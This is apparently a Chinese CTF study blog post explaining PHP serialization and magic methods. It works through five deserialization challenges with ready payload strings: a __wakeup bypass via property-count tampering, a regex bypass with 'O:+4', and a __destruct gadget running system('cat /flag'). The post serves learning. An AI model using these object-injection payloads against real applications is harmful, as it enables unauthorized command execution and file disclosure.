每日進步一點點(網安)

今日練習題目是PHP反序列化,也學習一下說明是序列化和反序列化

1.PHP序列化

序列化是指將數據結構或對象轉換為可傳輸或可儲存的格式的過程。這通常需要將數據轉換為字節流或者其他編碼格式,以便在不同系統和應用程序之間進行傳輸或存儲

在PHP中,可以使用serialize()函數將對象序列化為字符串,然后進行存儲或者傳輸

2.PHP反序列化

反序列化就是將序列化后的數據轉換為原來的對象,數據結構,變量的過程

在PHP中,可以使用unserialize()函數將序列化后的字符串轉化為原來的對象或數據

3.魔法函數

在PHP中,魔法函數是指的是特定的函數,名稱以兩個下劃線開始命名的

下面是一些常見的魔法函數

__construct :類的構造函數,在對象被創建時自動調用
__destruct :類的析構函數,在對象被銷毀時自動調用
__get :當調用一個不存在的屬性時自動調用
__set :當給一個不存在的屬性賦值時自動調用
__call : 當調用一個不存在的方法時調用
__toString : 當對象被轉換為字符串時自動調用
__sleep : 當對象被序列化時自動調用
__wakeup : 當對象被反序列化時自動調用

4.例題

4.1[攻防世界——unserialize3]

看這串代碼,顯示出來不是一個完整的PHP代碼(括號沒有完全閉合)

開始分析:

__wakeup()函數,看到這個函數,就會想到反序列化,對于上述代碼中的xctf類中,有一個flag變量和__wakeup函數方法,當一個xtcf對象被序列化為字符串后,再次反序列化該字符串(wakeup方法的調用),就會重建該對象(xctf)

題目沒有給出序列化,則需要我們自己生成出,然后給code傳參

<?php
class xctf{public $flag = '111';public function __wakeup(){       exit('bad requests');            }
}
$a= new xctf();   
echo(serialize($a));   
?>
//上述代碼就可以生成xctf的序列化字符串

序列化輸出結果為:O:4:"xctf":1:{s:4:"flag";s:3:"111";}?

分析可知,當把序列化結果傳參時,執行到wakeup方法就會成功反序列化,則打印“bad request”?,無法得到flag

所以就得繞過這個反序列化的操作,就是不能正確的將字符串反序列化

接下來就分析一下序列化結果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

O:表示被序列化的是一個對象

4:表示對象名 xctf 有4個字符

"xctf":表示對象的名稱為 xctf

1:表示該對象只有一個屬性

{}:表示該對象的屬性列表為空

s:表示屬性類型為字符串

4:表示屬性名 flag 有4個字符

"flag":表示屬性名為 flag

s:表示屬性類型為字符串

3:表示屬性值 111 有3個字符

"111":表示屬性值為 111?

?這里的漏洞就是修改對象屬性的個數,因為當序列化中的屬性個數比實際代碼中的屬性個數大時,就不會執行wakeup方法,從而就可以使其報錯,出flag!

改為:O:4:"xctf":2:{s:4:"flag";s:3:"111";}?

get傳參:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}?

?這道題順利解出!

4.2[攻防世界——Web_php_unserialize]

<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 

上述代碼,使用了php反序列化,可以通過$var來控制unserialize()的變量,所以漏洞在反序列化這里

分析源碼,可以看出,需要繞過__wakeup()方法和正則匹配,才可以高亮顯示出fl4g.php文件

第一部:繞過__wakeup()方法

和上一題一樣,先生成出序列化字符串,然后改變里面的屬性個數,進行繞過

第二步:繞過正則匹配

就是繞過preg_match('/[oc]:\d+:/i')對照上面的序列化字符串

分析:

[oc]:表示出現字符O或者C

\d+:表示匹配一個或者多個數字(d代表數字)

/i:表示不區分大小寫

繞過原理:?

1.原正則表達式期望匹配的是?o?或?c?后跟一個冒號,然后是一個或多個數字,再跟一個冒號。
2.在?O:+4:?中,雖然?+?不是一個數字,但 PHP 在處理反序列化時,對于對象長度的解析會將?+?當作數字處理。因為在序列化字符串中,對象的表示形式通常是?O:對象名稱長度:對象名稱。當使用?+?時,PHP 會將其解釋為一個較大的正數。
同時,由于原正則表達式沒有考慮?+?符號,所以?O:+4:?不會被?/[oc]:\d+:/i?匹配,從而繞過了該正則表達式的檢查。

//后面的執行代碼
$a=new Demo('fl4g.php');
$a=serialize($a);
$a=str_replace(':1:',':2:',$a);//繞過反序列化
$a=str_replace('O:4','O:+4',$a);//繞過正則
var_dump($a);//替換后的結果
var_dump(base64_encode($a));//輸出base64編碼結果

注意:這里有個坑,這里的 file 變量為私有變量,所以序列化之后的字符串開頭結尾各有一個空白字符(即%00),字符串長度也比實際長度大 2,如果將序列化結果復制到在線的 base64 網站進行編碼可能就會丟掉空白字符,所以這里直接在php 代碼里進行編碼。類似的還有 protected 類型的變量,序列化之后字符串首部會加上%00*%00。

然后get傳參得到flag

4.3[NSSCTF——[SWPUCTF 2022 新生賽]1z_unserialize]

可以看出這是一道序列化題目,利用__destruct()方法在銷毀對象時自動調用來執行預定義函數,實現命令注入

分析代碼,$a=$this->lt;$a($this->lly);這個意思就是$this->lt賦值給a,$this->lly作為參數傳遞給代表a的函數,就可以合并為lt(lly)

所以我們就可以通過構造一個惡意的序列化對象,將自定義的函數傳遞給$lt屬性,然后將執行的代碼傳遞給$lly,當對象序列化后再被反序列化,就是對象被銷毀的時候,自動調用__destruct()函數,從而執行繞過操作

只需要把a變成system(),把lly變成flag或者cat即可

system(cat/flag);

進行構造代碼

<?php
class lyh{public $url = 'NSSCTF.com';public $lt="system";public $lly="cat /flag";}$demo = new lyh();
echo serialize($demo);
?>

//運行結果
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

然后進行post傳參,得到flag

?4.4[NSSCTF——[SWPUCTF 2022 新生賽]ez_ez_unserialize]

分析代碼, 有__wakeup()方法,繞過該魔術方法即可

代碼中告訴我們,flag在f111111ag.php中,所以創建對象時,把flag文件作為參數傳進去

構造

<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
$demo=new X('fllllllag.php');
echo(serialize($demo));
?>

生成:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

修改為:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

然后get傳參得到flag

?

?4.5[NSSCTF——[SWPUCTF 2022 新生賽]ez_ez_unserialize]?

打開題目發現沒有東西,然后就下意識查看源碼

發現有disallow,就會想到Robots協議,就可以看看robots.txt?

robots.txt?文件是一個純文本文件,用于告訴搜索引擎爬蟲哪些 URL 可以訪問,哪些不能訪問。它主要用于管理爬蟲流量,防止服務器被過多的請求壓垮

看到有/cl45s.php直接打開,顯示php代碼

分析代碼,可以看到,對象銷毀時調用__destrcut()方法,而flag就在這個方法中,只需要滿足方法中的if語句?,就可以得到flag,但是這里面如何改admin和passwd變量的值呢?就需要構造一下,將”admin“賦值給admin,”ctf“賦值給passwd即可,然后進行創建對象,再打印序列化后的字符串

<?php
class wllm{public $admin="admin";public $passwd="ctf";}
$demo=new wllm();
echo(serialize($demo));
?>

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

然后get傳參,得到flag

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/66301.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/66301.shtml
英文地址,請注明出處:http://en.pswp.cn/web/66301.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

MySQL數據庫入門到大蛇尚硅谷宋紅康老師筆記 基礎篇 part 5

第05章_排序與分頁 排序 #第05章_排序與分頁#1. 排序# 如果沒有使用排序操作&#xff0c;默認情況下查詢返回的數據是按照添加數據的順序顯示的。 SELECT * FROM employees;# 1.1 基本使用 # 使用 ORDER BY 對查詢到的數據進行排序操作。 # 升序&#xff1a;ASC (ascend) # 降…

【專題一 遞歸】21. 合并兩個有序鏈表

1.題目解析 2.講解算法原理 解法:遞歸-> 重復的子問題 重復子問題 ->函數頭的設計 合并兩個有序鏈表--->Node dfs(l1&#xff0c;l2) 只關心某一個子問題在做什么事情 ->函數體的設計 比大小l1→next dfs( l1.next, l2)return l1 遞歸的出口 if(l1null)return l2…

OpenCV基礎:獲取子矩陣的幾種方式

目錄 相關閱讀 方法一&#xff1a;使用切片操作 方法二&#xff1a;使用高級索引 方法三&#xff1a;使用條件篩選 方法四&#xff1a;使用 numpy 的 take 函數 相關閱讀 OpenCV基礎&#xff1a;矩陣的創建、檢索與賦值-CSDN博客 OpenCV基礎&#xff1a;圖像運算-CSDN博客…

Java語言的數據結構

Java 提供了多種內置的數據結構&#xff0c;這些數據結構可以分為兩大類&#xff1a;基本的數組&#xff08;Array&#xff09;和集合框架&#xff08;Collections Framework&#xff09;。集合框架又細分為多個接口和實現類&#xff0c;提供了豐富的功能來管理對象集合。以下是…

Visual Studio Community 2022(VS2022)安裝方法

廢話不多說直接上圖&#xff1a; 直接上步驟&#xff1a; 1&#xff0c;首先可以下載安裝一個Visual Studio安裝器&#xff0c;叫做Visual Studio installer。這個安裝文件很小&#xff0c;很快就安裝完成了。 2&#xff0c;打開Visual Studio installer 小軟件 3&#xff0c…

vue3學習三

五 計算屬性 定義 選項式 export default {data(){return {num:1}},computed:{num1(){this.num1}} } 組合式 import {ref,computed} from vuelet numref(0); //僅讀 let num1 computed(()>{return num.value1 }) 計算時依賴的變量數據發生變化&#xff0c;則計算屬性…

學習threejs,使用OrbitControls相機控制器

&#x1f468;??? 主頁&#xff1a; gis分享者 &#x1f468;??? 感謝各位大佬 點贊&#x1f44d; 收藏? 留言&#x1f4dd; 加關注?! &#x1f468;??? 收錄于專欄&#xff1a;threejs gis工程師 文章目錄 一、&#x1f340;前言1.1 ??THREE.OrbitControls 相機控…

【2024年華為OD機試】 (B卷,100分)- 流水線(Java JS PythonC/C++)

一、問題描述 題目描述 一個工廠有 m 條流水線&#xff0c;來并行完成 n 個獨立的作業&#xff0c;該工廠設置了一個調度系統&#xff0c;在安排作業時&#xff0c;總是優先執行處理時間最短的作業。 現給定流水線個數 m&#xff0c;需要完成的作業數 n&#xff0c;每個作業…

opencv圖像基礎學習

2.3圖像的加密解密 源碼如下&#xff1a; import cv2 import numpy as np import matplotlib.pyplot as plt def passImg():imgcv2.imread(./image/cat.jpg,0)h,wimg.shape#生成一個密碼&#xff0c;加密key_imgnp.random.randint(0,256,size(h,w),dtypenp.uint8)img_addmcv2…

【機器學習】零售行業的智慧升級:機器學習驅動的精準營銷與庫存管理

我的個人主頁 我的領域&#xff1a;人工智能篇&#xff0c;希望能幫助到大家&#xff01;&#xff01;&#xff01;&#x1f44d;點贊 收藏? 在當今數字化浪潮洶涌澎湃的時代&#xff0c;零售行業正站在轉型升級的十字路口。市場競爭的白熱化使得企業必須另辟蹊徑&#xff0…

Navicat Premium 原生支持阿里云 PolarDB 數據庫

近日&#xff0c;我司旗下的 Navicat Premium 軟件通過了阿里云 PolarDB 數據庫產品生態集成認證&#xff0c;這標志著 Navicat 通過原生技術全面實現了對秒級彈性、高性價比、穩定可靠的PolarDB 數據庫三大引擎&#xff08;PolarDB MySQL版、PolarDB PostgreSQL版和 PolarDB f…

【SpringBoot應用篇】SpringBoot+MDC+自定義Filter操作traceId實現日志鏈路追蹤

【SpringBoot應用篇】SpringBootMDC自定義Filter操作traceId實現日志鏈路追蹤 解決的問題解決方案MDC具體邏輯ymllogback-spring.xmlTraceIdUtil操作工具類TraceIdFilter自定義過濾器GlobalExceptionHandler全局異常處理類TraceIdAspect切面UserController測試驗證 多線程處理M…

python如何解析word文件格式(.docx)

python如何解析word文件格式&#xff08;.docx&#xff09; .docx文件遵從開源的“Office Open XML標準”&#xff0c;這意味著我們能用python的文本操作對它進行操作&#xff08;實際上PPT和Excel也是&#xff09;。而且這并不是重復造輪子&#xff0c;因為市面上操作.docx的…

android wifi framework與wpa_supplicant的交互

android frmework直接與wpa_supplicant進行交互&#xff0c;使用aidl或者hidl 二、事件 framework注冊事件的地方&#xff1a; packages/modules/Wifi/service/java/com/android/server/wifi/SupplicantStaIfaceCallbackImpl.java class SupplicantStaIfaceCallbackImpl exte…

python爬蟲報錯日記

python爬蟲報錯日記 類未定義 原因&#xff1a;代碼檢查沒有問題**&#xff0c;位置錯了**&#xff0c;測試代碼包含在類里…… UnicodedecodeError錯誤 原因&#xff1a;字符沒有自動轉換成utf-8格式 KeyError&#xff1a;“href” 原因&#xff1a;前面運行正常&#x…

[ Spring ] Install Nacos on Ubuntu24

文章目錄 Download Nacos Package and UnzipConfigure NacosConfigure JAVA_HOME for Bash FileConfigure Default User and PasswordStartup NacosVisit Admin Webpage Download Nacos Package and Unzip https://github.com/alibaba/nacos/releases/download/3.0.0-alpha/na…

Swift語言的多線程編程

Swift語言的多線程編程 在現代軟件開發中&#xff0c;多線程編程是提高應用性能和響應速度的重要手段。尤其是在 iOS 和 macOS 開發中&#xff0c;由于用戶界面(UI)的交互性和復雜性&#xff0c;合理利用多線程可以極大地提升用戶體驗。本文將深入探討 Swift 語言中的多線程編…

第34天:Web開發-PHP應用鑒別修復AI算法流量檢測PHP.INI通用過濾內置函數

#知識點 1、安全開發-原生PHP-PHP.INI安全 2、安全開發-原生PHP-全局文件&單函數 3、安全開發-原生PHP-流量檢測&AI算法 一、通用-PHP.INI設置 參考&#xff1a; https://www.yisu.com/ask/28100386.html https://blog.csdn.net/u014265398/article/details/109700309 …

機器學習之決策樹(DecisionTree)

決策樹中選擇哪一個特征進行分裂&#xff0c;稱之為特征選擇。 特征選擇是找出某一個特征使得分裂后兩邊的樣本都有最好的“歸宿”&#xff0c;即左邊分支的樣本屬于一個類別、右邊分支的樣本屬于另外一個類別&#xff0c;左邊和右邊分支包含的樣本盡可能分屬同一類別&#xff…

進階——十六屆藍橋杯嵌入式熟練度練習(按鍵+LCD)

高亮&#xff08;一&#xff09; 聲明 char buf[21];unsigned char upled0x04;uint8_t key_val;uint8_t key_down,key_up,key_old;uint32_t key_time;uint8_t key_temp,key_flag;uint8_t line_flag; 按鍵代碼 void key_proc(void) { key_valkey_scan();key_downkey_val&…